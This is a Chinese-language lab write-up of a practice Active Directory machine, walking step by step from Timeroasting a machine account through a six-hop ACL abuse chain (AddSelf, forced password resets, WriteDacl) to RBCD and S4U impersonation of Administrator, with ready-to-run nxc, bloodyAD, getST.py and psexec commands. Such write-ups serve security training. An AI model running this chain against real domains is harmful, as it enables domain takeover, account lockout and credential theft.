Sublarge

// 红队渗透 · 2026-02-07

无境靶场-Time & Machines

MHT:时间在流动!时间在流动!在跳舞!木大木大木大木大木大!

image.png

0x01 初始枚举

首先使用 enum4linux-ng 对目标 IP 192.168.111.10 进行全方位的资产扫描。

关键点:

  • 确认目标域名为 sec.org,FQDN 为 ad.sec.org。
  • LDAP 和 SMB 服务均正常开启。
  • 未能通过匿名登录(Null Session)获取到敏感信息。

​

添加 host 解析

192.168.111.10     AD.sec.org sec.org AD
bash1 行

紧接着尝试通过 nxc(NetExec)利用 RID 爆破来枚举域用户,但遇到了预料之外的阻碍:

❯ nxc smb 192.168.111.10 --rid-brute
SMB         192.168.111.10  445    AD               [*]  x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
SMB         192.168.111.10  445    AD               [-] Error creating DCERPC connection: SMB SessionError: code: 0xc00000bb - STATUS_NOT_SUPPORTED - The request is not supported.
bash3 行

知识点拓展:STATUS_NOT_SUPPORTED (0xc00000bb)
在现代 Windows 域环境中,若目标机器完全禁用了 NTLM 认证,所有基于 NTLM 的连接尝试(如 nxc 的默认行为)都会返回此错误。这意味着后续的所有交互必须强制使用 Kerberos 认证,在此之前需要确保本地与 DC 的时间同步:ntpdate -u 192.168.111.10。

0x02 Timeroasting 攻击

结合题目名 Time & Machines 以及提示中的“时间在流动(Time is flowing)”,联想到一种针对机器账户的特殊攻击手段:Timeroasting。

Timeroasting 攻击原理

类似于 Kerberoasting,Timeroasting是一种针对 Active Directory 环境中计算机账户(machine accounts)的密码哈希窃取技术,但它巧妙地利用了 NTP(Network Time Protocol,网络时间协议) 而非 Kerberos 服务票据。

Kerberoasting 的核心是:攻击者(已认证域用户)请求带有 SPN(Service Principal Name)的 Kerberos 服务票据(TGS),这些票据用服务账户的 NT hash 加密,然后离线破解弱口令服务账户。

Timeroasting 则更“隐秘”和“零凭证”:它滥用 Microsoft 专有的 MS-SNTP(Microsoft Secure NTP)扩展机制——域内计算机通过 NTP 与域控制器(DC)同步时间时,DC 会为响应附加一个 Message Authentication Code(MAC),以防止时间欺骗攻击。这个 MAC 使用计算机账户密码的 NTLM hash(即 MD4 哈希)作为密钥,结合 NTP 响应体作为盐值计算得出(常见遗留模式:MD5(MD4(password) || NTP-response))。

关键漏洞在于:

  • NTP 请求是 无需认证 的(unauthenticated)。
  • 攻击者可以任意指定 RID(Relative Identifier,账户的相对标识符,通常从 1000+ 开始递增),DC 会查找对应计算机账户,并用其密码 hash 计算 MAC 并返回。
  • 结果:攻击者无需任何域凭据,就能从 DC 的 NTP 响应中提取出大量计算机账户的 “salted NT hash”(本质上是可离线破解的密码等价物)。

攻击流程简述:

  1. 攻击者向 DC 的 NTP 端口(UDP 123)发送 MS-SNTP 请求,指定目标 RID。
  2. DC 返回 NTP 时间 + MAC(用对应计算机账户的 NT hash 计算)。
  3. 提取 MAC + NTP 响应体(作为盐),格式类似 Hashcat mode 31300(MS-SNTP)。
  4. 离线破解:如果计算机账户密码是弱口令(如默认、legacy 兼容、公司命名规则生成的短密码,如 hostname 小写、Password123、bmhtaw 等),就能快速恢复明文密码。

与 Kerberoasting 的主要区别:

  • 认证要求:Kerberoasting 需要域内有效用户凭据(至少一个低权限账户);Timeroasting 完全零凭证(unauthenticated),只需 DC 的 NTP 端口开放。
  • 目标对象:Kerberoasting 针对有 SPN 的服务账户(常为用户账户);Timeroasting 专攻 计算机账户($ 结尾)和信任账户(trust accounts),因为它们参与 NTP 认证。
  • 检测难度:Timeroasting 流量伪装成正常 NTP 时间同步,隐蔽性更高;Kerberoasting 会产生大量 TGS 请求,较易被 EDR / Defender for Identity 检测。
  • 破解难度:两者都依赖弱口令,但 Timeroasting 的 hash 格式特殊(需特定工具如 timeroast.py ,Hashcat 31300),且只输出 RID 而非计算机名(需额外映射)。
  • 适用场景:Timeroasting 常用于初始 foothold(拿到一台弱机器账户密码 → 横向),尤其在 NTLM 被禁、Kerberoasting/AS-REP 被修补的 hardening 环境中。

使用 nxc 的 timeroast 模块进行尝试:

对提取出的 Hash 进行清洗,并使用 hashcat 进行批量离线爆破。

grep -oP '\$sntp-ms\$[^\s]+' output.txt > hashes.txt
bash1 行

​

最终成功爆破出 RID 为 1601 的账户密码 bmhtaw

image.png

根据提示,果断猜测对应的机器账户名为 mht$。因为靶机禁用 NTLM,这里采用 kerbrute 工具去验证:

❯ kerbrute passwordspray user.txt 'bmhtaw' -d sec.org --dc 192.168.111.10
bash1 行

验证后确认身份有效

image.png

随后请求 TGT 票据并注入环境变量:

❯ getTGT.py -dc-ip 192.168.111.10 sec.org/mht\$:'bmhtaw'
❯ export KRB5CCNAME=mht$.ccache
bash2 行

0x03 域内枚举与权限分析

获取初始凭据后,利用 Kerberos 认证(使用 -k 参数)再次调用 nxc 枚举域内的用户、组以及机器账户。

关键发现:

  • 存在多个功能性安全组:Operations、Dev、IT、Dele 等。
  • 存在一个名为 DANCINGTIME$ 的可疑机器账户。

随后通过 BloodHound 收集域内关系图谱,分析权限提升路径:

在 BloodHound 中将 mht$ 标记为已控制(Owned)

image.png

并寻找通往域管的最短路径。发现了一条环环相扣的 ACL 利用链:

image.png

0x04 ACL权限提升

这条路径的域内横向移动与垂直提权逻辑非常的清晰:

  1. MHT$ -> Operations: MHT$对Operations组有AddSelf 权限。
  2. Operations -> BB: Operations 组成员可以对用户 BB 执行 ForceChangePassword。
  3. BB -> DANCINGTIME$: 用户 BB 对机器 DANCINGTIME$拥有WriteDacl 权限。
  4. DANCINGTIME$ -> DELE: 机器 DANCINGTIME$对DELE组拥有WriteDacl。
  5. DELE -> ZZ: DELE 组对用户 ZZ 有重置密码权限。
  6. ZZ -> AD$ (DC): 用户 ZZ 对域控 AD$拥有AddAllowedToAct 权限,这是 RBCD 攻击的完美入口。

​

第一阶段:利用 AddSelf 渗透 Operations 组

攻击逻辑:MHT$ 账户对 Operations 组拥有 AddSelf 权限。这允许该机器账户在不需要该组管理员干预的情况下,自行加入该组。

image.png

# 将 mht$ 加入 operations 组
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' add groupMember operations 'mht$'
[+] mht$ added to operations
bash3 行

知识点分析:AddSelf (Self) 权限
AddSelf 权限允许主体(User/Computer)将自己添加到目标组的成员列表中。在实战中,这种权限往往比直接的 GenericAll 更隐蔽,因为它看起来像是合法的成员变动。

第二阶段:强制重置用户 BB 凭据

攻击逻辑:作为 Operations 组的成员,MHT$ 现在继承了对用户 BB 的 ForceChangePassword 权限。

image.png

# 强制修改 BB 的密码为 NewPass123!
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' set password 'BB' 'NewPass123!'
[+] Password changed successfully!
bash3 行

知识点分析:ForceChangePassword (Extended Right)
这是一种扩展权限,允许攻击者在不知道旧密码的情况下直接设置新密码。注意:在真实环境中,这会破坏目标账户的正常使用,通常建议在非活跃时间操作。

第三阶段:修改机器 DANCINGTIME$ 的安全描述符

攻击逻辑:获取 BB 的票据后,利用其对机器账户 DANCINGTIME$ 的 WriteDacl 权限,授予 MHT$ 对该机器的完全控制权(GenericAll)。

image.png

# 获取 BB 的 TGT 票据并注入环境
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/BB:'NewPass123!'
❯ export KRB5CCNAME=BB.ccache

# 修改 ACL,赋予 mht$ 对该机器账户的 GenericAll 权限
❯ bloodyAD --host ad.sec.org -d sec.org -u 'BB' -p '' -k add genericAll 'DANCINGTIME$' 'mht$'
[+] mht$ has now GenericAll on DANCINGTIME$
bash7 行

第四阶段:利用机器账户渗透 DELE 组

攻击逻辑:DANCINGTIME$ 对 DELE 组拥有 WriteDacl 权限。我们首先通过 MHT$(此时已拥有其 GenericAll)重置 DANCINGTIME$ 的密码,获取其身份,随后将 MHT$ 塞进 DELE 组。

image.png

​

# 重置 DANCINGTIME$ 密码并获取其 TGT
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' set password 'DANCINGTIME$' 'NewPass123!'
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:'NewPass123!'
❯ export KRB5CCNAME=DANCINGTIME$.ccache

# 以 DANCINGTIME$ 身份,将 mht$ 加入 DELE 组
❯ bloodyAD --host ad.sec.org -k -u 'DANCINGTIME$' -p 'NewPass123!' -d sec.org add groupMember 'DELE' 'mht$'
[+] mht$ added to DELE
bash8 行

知识点分析:WriteDacl
WriteDacl 是 ACL 攻击中的核心。它允许攻击者修改目标对象的访问控制列表(DACL)。最直接的利用方式就是给自己加上 GenericAll 或者将自己设为该对象的“拥有者”。

第五阶段:接管关键用户 ZZ

攻击逻辑:DELE 组成员拥有对用户 ZZ 的密码重置权限。

image.png

# 切换回 mht$ 身份执行操作
❯ export KRB5CCNAME=mht$.ccache
❯ bloodyAD --host ad.sec.org -k -u 'mht$' -p 'bmhtaw' -d sec.org set password 'ZZ' 'NewPass123!'
[+] Password changed successfully!
bash4 行

第六阶段:RBCD 委派攻击

攻击逻辑:用户 ZZ 对域控 AD$ 拥有 AddAllowedToAct 权限,这说明该账户拥有修改目标计算机对象属性 msDS-AllowedToActOnBehalfOfOtherIdentity 的权限。这是配置 基于资源的约束性委派 (RBCD) 的先决条件,通过修改域控属性,我们让域控“信任”机器账户 MHT$ 可以代表任何用户访问它。

image.png

# 获取 ZZ 的 TGT 票据
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/ZZ:'NewPass123!'
❯ export KRB5CCNAME=ZZ.ccache

# 在域控 AD$ 上配置 RBCD,允许 mht$ 模拟委派
❯ bloodyAD --host ad.sec.org -k -u ZZ -p 'NewPass123!' -d sec.org add rbcd 'AD$' 'mht$'
[+] mht$ can now impersonate users on AD$ via S4U2Proxy
bash7 行

知识点分析:msDS-AllowedToActOnBehalfOfOtherIdentity
这一属性存储在“资源”(即本例中的域控)上。当我们成功修改该属性后,就可以通过 S4U2self 和 S4U2proxy 扩展协议,利用 MHT$ 申请一张模拟 Administrator 访问域控服务的票据。

0x05 模拟域管拿下 flag

最后一步,使用 getST.py 执行 S4U 链条。我们模拟 Administrator 请求 cifs(文件共享)服务的票据,并利用该票据实现最终的远程执行。

S4U 协议的两步走战略

第一步:S4U2self (获取伪装身份)

通常情况下,Kerberos 需要用户输入密码获取 TGT。但作为“服务”,mht$ 可能需要知道谁在访问它。

  • 动作:mht$ 向 KDC(域控)发起请求:“我是 mht$,虽然 Administrator 没给我发请求,但我现在想代表他生成一张访问我自己的票据。”
  • 结果:KDC 返回一张 Administrator 访问 mht$ 的服务票据(ST)。
  • 关键点:这一步不需要 Administrator 的密码。

第二步:S4U2proxy (执行身份委派)

现在 mht$ 手里有一张 Administrator 发给自己的票据了。

  • 动作:mht$ 再次找到 KDC,出示刚才那张票据,并说:“看,Administrator 已经访问我了(其实是自导自演)。现在我要把他的身份委派下去,请给我一张他访问 AD$ 服务的票据。”
  • 判定:KDC 会检查 AD$ 的属性。如果 AD$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity 字段里写了 mht$ 的名字(这就是你之前用 ZZ 账户做的修改),KDC 就会认为:“没问题,AD$ 确实信任 mht$。”
  • 结果:KDC 颁发一张 Administrator 访问 AD$ 的 cifs 服务票据。
# 执行 S4U2self & S4U2proxy 组合拳
❯ export KRB5CCNAME=mht$.ccache
❯ getST.py -spn 'cifs/ad.sec.org' -impersonate Administrator -dc-ip 192.168.111.10 -k -no-pass sec.org/mht$
[*] Impersonating Administrator
[*] Saving ticket in Administrator@cifs_ad.sec.org@sec.org.ccache

# 导入最终票据,使用 psexec 拿下 DC
❯ export KRB5CCNAME=Administrator@cifs_ad.sec.org@sec.org.ccache
❯ psexec.py -k -no-pass 'ad.sec.org'
bash9 行

image.png

image.png

0x06 总结

这个靶机的核心难点在于 NTLM 禁用的真实场景模拟,强制要求攻击者熟悉 Kerberos 认证流程。

利用链梳理:

  1. 信息枚举:发现 NTLM 禁用,转向 Kerberos 爆破。
  2. 入口突破:通过 Timeroasting 暴力破解机器账户 mht$。
  3. 权限挖掘:利用 BloodHound 识别长达 6 跳的 ACL 滥用链。
  4. 权限接管:通过 RBCD 完成最后的委派攻击。

攻击路径:

Timeroasting (mht$) —> AddSelf (Operations) —> ForceChangePassword (BB) —> WriteDacl (DANCINGTIME$) —> WriteDacl (DELE) —> ForceChangePassword (ZZ) —> RBCD (AD$) —> DOMAIN ADMIN

​

整体是一台很不错的靶机~

附首杀证明:

image.png

原文 https://xz.aliyun.com/news/91598